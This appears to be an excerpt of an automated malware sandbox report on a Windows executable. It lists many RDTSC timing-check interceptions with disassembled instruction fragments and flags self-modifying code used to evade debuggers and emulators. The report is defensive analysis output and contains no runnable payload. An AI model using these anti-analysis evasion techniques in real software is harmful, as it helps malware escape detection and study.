Source: C:\Users\user\DocumentsHDGCGHIJKE.exe	RDTSC instruction interceptor: First address: 75391B second address: 753925 instructions: 0x00000000 rdtsc 0x00000002 jnc 00007F8EA84FC126h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\DocumentsHDGCGHIJKE.exe	RDTSC instruction interceptor: First address: 753925 second address: 75392A instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\DocumentsHDGCGHIJKE.exe	RDTSC instruction interceptor: First address: 75392A second address: 753930 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\DocumentsHDGCGHIJKE.exe	RDTSC instruction interceptor: First address: 75292F second address: 752945 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop ecx 0x00000007 push eax 0x00000008 jns 00007F8EA8EA37E2h 0x0000000e jo 00007F8EA8EA37DCh 0x00000014 push eax 0x00000015 push edx 0x00000016 rdtsc
Source: C:\Users\user\DocumentsHDGCGHIJKE.exe	RDTSC instruction interceptor: First address: 756890 second address: 7568AA instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F8EA84FC136h 0x00000009 rdtsc
Source: C:\Users\user\DocumentsHDGCGHIJKE.exe	RDTSC instruction interceptor: First address: 7568AA second address: 7568AE instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\DocumentsHDGCGHIJKE.exe	RDTSC instruction interceptor: First address: 7568AE second address: 7568C1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 pushad 0x0000000a pushad 0x0000000b jc 00007F8EA84FC126h 0x00000011 push eax 0x00000012 push edx 0x00000013 rdtsc
Source: C:\Users\user\DocumentsHDGCGHIJKE.exe	RDTSC instruction interceptor: First address: 759996 second address: 75999B instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\DocumentsHDGCGHIJKE.exe	RDTSC instruction interceptor: First address: 75494B second address: 7549CE instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 pop ebx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 mov dword ptr [esp], eax 0x0000000a adc di, 7F57h 0x0000000f push dword ptr fs:[00000000h] 0x00000016 push 00000000h 0x00000018 push edi 0x00000019 call 00007F8EA84FC128h 0x0000001e pop edi 0x0000001f mov dword ptr [esp+04h], edi 0x00000023 add dword ptr [esp+04h], 0000001Dh 0x0000002b inc edi 0x0000002c push edi 0x0000002d ret 0x0000002e pop edi 0x0000002f ret 0x00000030 mov dword ptr fs:[00000000h], esp 0x00000037 call 00007F8EA84FC12Fh 0x0000003c mov dword ptr [ebp+122D2460h], eax 0x00000042 pop ebx 0x00000043 mov eax, dword ptr [ebp+122D0405h] 0x00000049 movzx edi, bx 0x0000004c push FFFFFFFFh 0x0000004e mov bl, EFh 0x00000050 push eax 0x00000051 jmp 00007F8EA84FC131h 0x00000056 pop ebx 0x00000057 push eax 0x00000058 push eax 0x00000059 push edx 0x0000005a push eax 0x0000005b push edx 0x0000005c jng 00007F8EA84FC126h 0x00000062 rdtsc
Source: C:\Users\user\DocumentsHDGCGHIJKE.exe	RDTSC instruction interceptor: First address: 7549CE second address: 7549D4 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\DocumentsHDGCGHIJKE.exe	RDTSC instruction interceptor: First address: 7549D4 second address: 7549DE instructions: 0x00000000 rdtsc 0x00000002 jng 00007F8EA84FC12Ch 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\DocumentsHDGCGHIJKE.exe	RDTSC instruction interceptor: First address: 6FE4DC second address: 6FE4E2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\DocumentsHDGCGHIJKE.exe	RDTSC instruction interceptor: First address: 7652AF second address: 7652E1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edx 0x00000005 pop edx 0x00000006 jmp 00007F8EA84FC134h 0x0000000b popad 0x0000000c push ebx 0x0000000d push ebx 0x0000000e pop ebx 0x0000000f jmp 00007F8EA84FC133h 0x00000014 pop ebx 0x00000015 rdtsc
Source: C:\Users\user\DocumentsHDGCGHIJKE.exe	RDTSC instruction interceptor: First address: 764B9A second address: 764B9E instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\DocumentsHDGCGHIJKE.exe	RDTSC instruction interceptor: First address: 76680F second address: 766813 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\DocumentsHDGCGHIJKE.exe	RDTSC instruction interceptor: First address: 766813 second address: 76682D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jbe 00007F8EA8EA37D6h 0x0000000a pop edx 0x0000000b pop eax 0x0000000c jmp 00007F8EA8EA37DEh 0x00000011 rdtsc
Source: C:\Users\user\DocumentsHDGCGHIJKE.exe	RDTSC instruction interceptor: First address: 708513 second address: 708517 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\DocumentsHDGCGHIJKE.exe	RDTSC instruction interceptor: First address: 76AB8D second address: 76ABAF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 popad 0x00000006 mov eax, dword ptr [esp+04h] 0x0000000a pushad 0x0000000b push eax 0x0000000c push edx 0x0000000d jmp 00007F8EA8EA37E5h 0x00000012 rdtsc
Source: C:\Users\user\DocumentsHDGCGHIJKE.exe	RDTSC instruction interceptor: First address: 76ABAF second address: 76ABD4 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jmp 00007F8EA84FC137h 0x0000000b popad 0x0000000c mov eax, dword ptr [eax] 0x0000000e push eax 0x0000000f push eax 0x00000010 push edx 0x00000011 push ecx 0x00000012 pop ecx 0x00000013 rdtsc
Source: C:\Users\user\DocumentsHDGCGHIJKE.exe	RDTSC instruction interceptor: First address: 75A8CF second address: 75A8D4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop esi 0x00000005 rdtsc
Source: C:\Users\user\DocumentsHDGCGHIJKE.exe	RDTSC instruction interceptor: First address: 75A8D4 second address: 75A8DF instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jg 00007F8EA84FC126h 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\DocumentsHDGCGHIJKE.exe	RDTSC instruction interceptor: First address: 75B776 second address: 75B781 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 js 00007F8EA8EA37D6h 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\DocumentsHDGCGHIJKE.exe	RDTSC instruction interceptor: First address: 75B781 second address: 75B814 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pop edx 0x00000006 pop eax 0x00000007 mov dword ptr [esp], eax 0x0000000a push 00000000h 0x0000000c push ecx 0x0000000d call 00007F8EA84FC128h 0x00000012 pop ecx 0x00000013 mov dword ptr [esp+04h], ecx 0x00000017 add dword ptr [esp+04h], 00000018h 0x0000001f inc ecx 0x00000020 push ecx 0x00000021 ret 0x00000022 pop ecx 0x00000023 ret 0x00000024 push dword ptr fs:[00000000h] 0x0000002b mov bx, dx 0x0000002e mov dword ptr fs:[00000000h], esp 0x00000035 mov bl, D0h 0x00000037 mov eax, dword ptr [ebp+122D0C9Dh] 0x0000003d jmp 00007F8EA84FC134h 0x00000042 push FFFFFFFFh 0x00000044 push 00000000h 0x00000046 push ebx 0x00000047 call 00007F8EA84FC128h 0x0000004c pop ebx 0x0000004d mov dword ptr [esp+04h], ebx 0x00000051 add dword ptr [esp+04h], 00000018h 0x00000059 inc ebx 0x0000005a push ebx 0x0000005b ret 0x0000005c pop ebx 0x0000005d ret 0x0000005e jmp 00007F8EA84FC130h 0x00000063 mov bx, si 0x00000066 nop 0x00000067 push eax 0x00000068 push edx 0x00000069 push eax 0x0000006a push edx 0x0000006b pushad 0x0000006c popad 0x0000006d rdtsc
Source: C:\Users\user\DocumentsHDGCGHIJKE.exe	RDTSC instruction interceptor: First address: 75B814 second address: 75B81A instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\DocumentsHDGCGHIJKE.exe	RDTSC instruction interceptor: First address: 75B81A second address: 75B835 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F8EA84FC137h 0x00000009 rdtsc
Source: C:\Users\user\DocumentsHDGCGHIJKE.exe	RDTSC instruction interceptor: First address: 7034B5 second address: 7034B9 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\DocumentsHDGCGHIJKE.exe	RDTSC instruction interceptor: First address: 7034B9 second address: 7034C8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 push eax 0x00000008 push edx 0x00000009 push eax 0x0000000a push edx 0x0000000b push edi 0x0000000c pop edi 0x0000000d pushad 0x0000000e popad 0x0000000f rdtsc
Source: C:\Users\user\DocumentsHDGCGHIJKE.exe	RDTSC instruction interceptor: First address: 7034C8 second address: 7034D4 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 push ecx 0x00000005 pop ecx 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push edi 0x00000009 pushad 0x0000000a popad 0x0000000b pop edi 0x0000000c rdtsc
Source: C:\Users\user\DocumentsHDGCGHIJKE.exe	RDTSC instruction interceptor: First address: 7034D4 second address: 703508 instructions: 0x00000000 rdtsc 0x00000002 ja 00007F8EA84FC128h 0x00000008 push eax 0x00000009 push edx 0x0000000a jmp 00007F8EA84FC135h 0x0000000f jmp 00007F8EA84FC133h 0x00000014 rdtsc
Source: C:\Users\user\DocumentsHDGCGHIJKE.exe	RDTSC instruction interceptor: First address: 76F9B1 second address: 76F9B5 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\DocumentsHDGCGHIJKE.exe	RDTSC instruction interceptor: First address: 77059E second address: 7705AC instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F8EA84FC12Ah 0x00000009 rdtsc
Source: C:\Users\user\DocumentsHDGCGHIJKE.exe	RDTSC instruction interceptor: First address: 7763D8 second address: 7763EE instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F8EA8EA37DCh 0x00000007 push eax 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push edx 0x0000000c push esi 0x0000000d pop esi 0x0000000e pop edx 0x0000000f rdtsc
Source: C:\Users\user\DocumentsHDGCGHIJKE.exe	RDTSC instruction interceptor: First address: 7763EE second address: 776416 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F8EA84FC138h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pushad 0x0000000a jnl 00007F8EA84FC128h 0x00000010 pushad 0x00000011 push eax 0x00000012 push edx 0x00000013 rdtsc
Source: C:\Users\user\DocumentsHDGCGHIJKE.exe	RDTSC instruction interceptor: First address: 776F5F second address: 776F76 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop eax 0x00000005 jmp 00007F8EA8EA37DFh 0x0000000a pushad 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\DocumentsHDGCGHIJKE.exe	RDTSC instruction interceptor: First address: 776F76 second address: 776F86 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F8EA84FC12Ah 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\DocumentsHDGCGHIJKE.exe	RDTSC instruction interceptor: First address: 77725D second address: 777261 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\DocumentsHDGCGHIJKE.exe	RDTSC instruction interceptor: First address: 777261 second address: 777267 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\DocumentsHDGCGHIJKE.exe	RDTSC instruction interceptor: First address: 777267 second address: 777287 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jns 00007F8EA8EA37E2h 0x0000000c push eax 0x0000000d push edx 0x0000000e jnl 00007F8EA8EA37D6h 0x00000014 rdtsc
Source: C:\Users\user\DocumentsHDGCGHIJKE.exe	RDTSC instruction interceptor: First address: 7830F9 second address: 783106 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop esi 0x00000005 push eax 0x00000006 push edx 0x00000007 jbe 00007F8EA84FC126h 0x0000000d rdtsc
Source: C:\Users\user\DocumentsHDGCGHIJKE.exe	RDTSC instruction interceptor: First address: 78204A second address: 782061 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F8EA8EA37E3h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\DocumentsHDGCGHIJKE.exe	RDTSC instruction interceptor: First address: 742163 second address: 742169 instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 pop edx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\DocumentsHDGCGHIJKE.exe	RDTSC instruction interceptor: First address: 742169 second address: 742198 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushad 0x00000004 popad 0x00000005 jnl 00007F8EA8EA37D6h 0x0000000b popad 0x0000000c pop edx 0x0000000d pop eax 0x0000000e push eax 0x0000000f pushad 0x00000010 jmp 00007F8EA8EA37E7h 0x00000015 je 00007F8EA8EA37DCh 0x0000001b push eax 0x0000001c push edx 0x0000001d rdtsc
Source: C:\Users\user\DocumentsHDGCGHIJKE.exe	RDTSC instruction interceptor: First address: 742412 second address: 742421 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F8EA84FC12Bh 0x00000009 rdtsc
Source: C:\Users\user\DocumentsHDGCGHIJKE.exe	RDTSC instruction interceptor: First address: 74258B second address: 7425A6 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F8EA8EA37E7h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\DocumentsHDGCGHIJKE.exe	RDTSC instruction interceptor: First address: 74269A second address: 7426A4 instructions: 0x00000000 rdtsc 0x00000002 jg 00007F8EA84FC126h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\DocumentsHDGCGHIJKE.exe	RDTSC instruction interceptor: First address: 742769 second address: 74276D instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\DocumentsHDGCGHIJKE.exe	RDTSC instruction interceptor: First address: 74276D second address: 74278E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 jmp 00007F8EA84FC139h 0x0000000d rdtsc
Source: C:\Users\user\DocumentsHDGCGHIJKE.exe	RDTSC instruction interceptor: First address: 74278E second address: 7427A5 instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pop esi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 push eax 0x00000008 pushad 0x00000009 pushad 0x0000000a jno 00007F8EA8EA37D6h 0x00000010 push ebx 0x00000011 pop ebx 0x00000012 popad 0x00000013 push eax 0x00000014 push edx 0x00000015 pushad 0x00000016 popad 0x00000017 rdtsc
Source: C:\Users\user\DocumentsHDGCGHIJKE.exe	RDTSC instruction interceptor: First address: 7427A5 second address: 7427A9 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\DocumentsHDGCGHIJKE.exe	RDTSC instruction interceptor: First address: 7429B4 second address: 7429B8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\DocumentsHDGCGHIJKE.exe	RDTSC instruction interceptor: First address: 7429B8 second address: 742A3C instructions: 0x00000000 rdtsc 0x00000002 jnc 00007F8EA84FC126h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a jo 00007F8EA84FC135h 0x00000010 jmp 00007F8EA84FC12Fh 0x00000015 popad 0x00000016 push eax 0x00000017 pushad 0x00000018 push edi 0x00000019 push esi 0x0000001a pop esi 0x0000001b pop edi 0x0000001c jmp 00007F8EA84FC12Fh 0x00000021 popad 0x00000022 nop 0x00000023 push 00000000h 0x00000025 push ebp 0x00000026 call 00007F8EA84FC128h 0x0000002b pop ebp 0x0000002c mov dword ptr [esp+04h], ebp 0x00000030 add dword ptr [esp+04h], 00000016h 0x00000038 inc ebp 0x00000039 push ebp 0x0000003a ret 0x0000003b pop ebp 0x0000003c ret 0x0000003d adc di, 237Ah 0x00000042 push 00000004h 0x00000044 push 00000000h 0x00000046 push eax 0x00000047 call 00007F8EA84FC128h 0x0000004c pop eax 0x0000004d mov dword ptr [esp+04h], eax 0x00000051 add dword ptr [esp+04h], 00000019h 0x00000059 inc eax 0x0000005a push eax 0x0000005b ret 0x0000005c pop eax 0x0000005d ret 0x0000005e push eax 0x0000005f push eax 0x00000060 push edx 0x00000061 push ebx 0x00000062 pushad 0x00000063 popad 0x00000064 pop ebx 0x00000065 rdtsc
Source: C:\Users\user\DocumentsHDGCGHIJKE.exe	RDTSC instruction interceptor: First address: 742D97 second address: 742DBD instructions: 0x00000000 rdtsc 0x00000002 jp 00007F8EA8EA37D8h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b pushad 0x0000000c push ebx 0x0000000d push ecx 0x0000000e pop ecx 0x0000000f pop ebx 0x00000010 push eax 0x00000011 push edx 0x00000012 jmp 00007F8EA8EA37E2h 0x00000017 rdtsc
Source: C:\Users\user\DocumentsHDGCGHIJKE.exe	RDTSC instruction interceptor: First address: 742F7D second address: 742F96 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F8EA84FC130h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pushad 0x0000000a pushad 0x0000000b popad 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\DocumentsHDGCGHIJKE.exe	RDTSC instruction interceptor: First address: 7827B7 second address: 7827C0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ebx 0x00000005 push eax 0x00000006 push edx 0x00000007 push esi 0x00000008 pop esi 0x00000009 rdtsc
Source: C:\Users\user\DocumentsHDGCGHIJKE.exe	RDTSC instruction interceptor: First address: 7828DE second address: 7828E5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 rdtsc
Source: C:\Users\user\DocumentsHDGCGHIJKE.exe	RDTSC instruction interceptor: First address: 7828E5 second address: 7828F0 instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 jp 00007F8EA8EA37D6h 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\DocumentsHDGCGHIJKE.exe	RDTSC instruction interceptor: First address: 782BB7 second address: 782BBD instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\DocumentsHDGCGHIJKE.exe	RDTSC instruction interceptor: First address: 782D14 second address: 782D1A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\DocumentsHDGCGHIJKE.exe	RDTSC instruction interceptor: First address: 787A18 second address: 787A1E instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\DocumentsHDGCGHIJKE.exe	RDTSC instruction interceptor: First address: 787E34 second address: 787E3E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 push ecx 0x00000007 pop ecx 0x00000008 pushad 0x00000009 popad 0x0000000a rdtsc
Source: C:\Users\user\DocumentsHDGCGHIJKE.exe	RDTSC instruction interceptor: First address: 78808A second address: 78808E instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\DocumentsHDGCGHIJKE.exe	RDTSC instruction interceptor: First address: 78808E second address: 788097 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\DocumentsHDGCGHIJKE.exe	RDTSC instruction interceptor: First address: 788097 second address: 78809D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\DocumentsHDGCGHIJKE.exe	RDTSC instruction interceptor: First address: 78809D second address: 7880A2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop eax 0x00000005 rdtsc
Source: C:\Users\user\DocumentsHDGCGHIJKE.exe	RDTSC instruction interceptor: First address: 7881EC second address: 7881F1 instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\DocumentsHDGCGHIJKE.exe	RDTSC instruction interceptor: First address: 78837D second address: 788382 instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\DocumentsHDGCGHIJKE.exe	RDTSC instruction interceptor: First address: 788759 second address: 788774 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ecx 0x00000005 pop ecx 0x00000006 pushad 0x00000007 popad 0x00000008 popad 0x00000009 jmp 00007F8EA84FC132h 0x0000000e rdtsc
Source: C:\Users\user\DocumentsHDGCGHIJKE.exe	RDTSC instruction interceptor: First address: 787709 second address: 78772E instructions: 0x00000000 rdtsc 0x00000002 jp 00007F8EA8EA37D6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b push edx 0x0000000c jmp 00007F8EA8EA37E7h 0x00000011 pushad 0x00000012 popad 0x00000013 rdtsc
Source: C:\Users\user\DocumentsHDGCGHIJKE.exe	RDTSC instruction interceptor: First address: 78772E second address: 787755 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F8EA84FC136h 0x00000007 push esi 0x00000008 pop esi 0x00000009 pop edx 0x0000000a pop eax 0x0000000b popad 0x0000000c push edi 0x0000000d pushad 0x0000000e jne 00007F8EA84FC126h 0x00000014 push eax 0x00000015 push edx 0x00000016 rdtsc
Source: C:\Users\user\DocumentsHDGCGHIJKE.exe	RDTSC instruction interceptor: First address: 78BC1E second address: 78BC22 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\DocumentsHDGCGHIJKE.exe	RDTSC instruction interceptor: First address: 78BDAD second address: 78BDB3 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push ecx 0x00000005 pop ecx 0x00000006 rdtsc
Source: C:\Users\user\DocumentsHDGCGHIJKE.exe	RDTSC instruction interceptor: First address: 78C071 second address: 78C075 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\DocumentsHDGCGHIJKE.exe	RDTSC instruction interceptor: First address: 78E8E9 second address: 78E8EE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\DocumentsHDGCGHIJKE.exe	RDTSC instruction interceptor: First address: 78E496 second address: 78E4A3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jno 00007F8EA8EA37D6h 0x0000000a pushad 0x0000000b popad 0x0000000c popad 0x0000000d rdtsc
Source: C:\Users\user\DocumentsHDGCGHIJKE.exe	RDTSC instruction interceptor: First address: 78E4A3 second address: 78E4A9 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\DocumentsHDGCGHIJKE.exe	RDTSC instruction interceptor: First address: 78E4A9 second address: 78E4E0 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F8EA8EA37E7h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push edx 0x0000000b pushad 0x0000000c popad 0x0000000d jmp 00007F8EA8EA37E8h 0x00000012 rdtsc
Source: C:\Users\user\DocumentsHDGCGHIJKE.exe	RDTSC instruction interceptor: First address: 78E60C second address: 78E610 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\DocumentsHDGCGHIJKE.exe	RDTSC instruction interceptor: First address: 78E610 second address: 78E614 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\DocumentsHDGCGHIJKE.exe	RDTSC instruction interceptor: First address: 78E614 second address: 78E61A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\DocumentsHDGCGHIJKE.exe	RDTSC instruction interceptor: First address: 78E61A second address: 78E633 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 js 00007F8EA8EA37DEh 0x0000000c pushad 0x0000000d popad 0x0000000e ja 00007F8EA8EA37D6h 0x00000014 pop edi 0x00000015 pushad 0x00000016 pushad 0x00000017 push eax 0x00000018 push edx 0x00000019 rdtsc
Source: C:\Users\user\DocumentsHDGCGHIJKE.exe	RDTSC instruction interceptor: First address: 78E633 second address: 78E63D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 pushad 0x00000007 popad 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\DocumentsHDGCGHIJKE.exe	RDTSC instruction interceptor: First address: 78FF15 second address: 78FF24 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 push edx 0x00000007 pop edx 0x00000008 popad 0x00000009 push eax 0x0000000a push edx 0x0000000b push eax 0x0000000c push edx 0x0000000d pushad 0x0000000e popad 0x0000000f rdtsc
Source: C:\Users\user\DocumentsHDGCGHIJKE.exe	RDTSC instruction interceptor: First address: 78FF24 second address: 78FF28 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\DocumentsHDGCGHIJKE.exe	RDTSC instruction interceptor: First address: 78FF28 second address: 78FF2E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\DocumentsHDGCGHIJKE.exe	RDTSC instruction interceptor: First address: 78FF2E second address: 78FF39 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jl 00007F8EA84FC126h 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\DocumentsHDGCGHIJKE.exe	RDTSC instruction interceptor: First address: 78FF39 second address: 78FF3F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\DocumentsHDGCGHIJKE.exe	RDTSC instruction interceptor: First address: 78FF3F second address: 78FF49 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pushad 0x00000006 push edi 0x00000007 pop edi 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc

Tries to evade debugger and weak emulator (self modifying code)

Source: C:\Users\user\Desktop\file.exe	Special instruction interceptor: First address: 3CFBEC instructions caused by: Self-modifying code
Source: C:\Users\user\Desktop\file.exe	Special instruction interceptor: First address: 3CFCCB instructions caused by: Self-modifying code
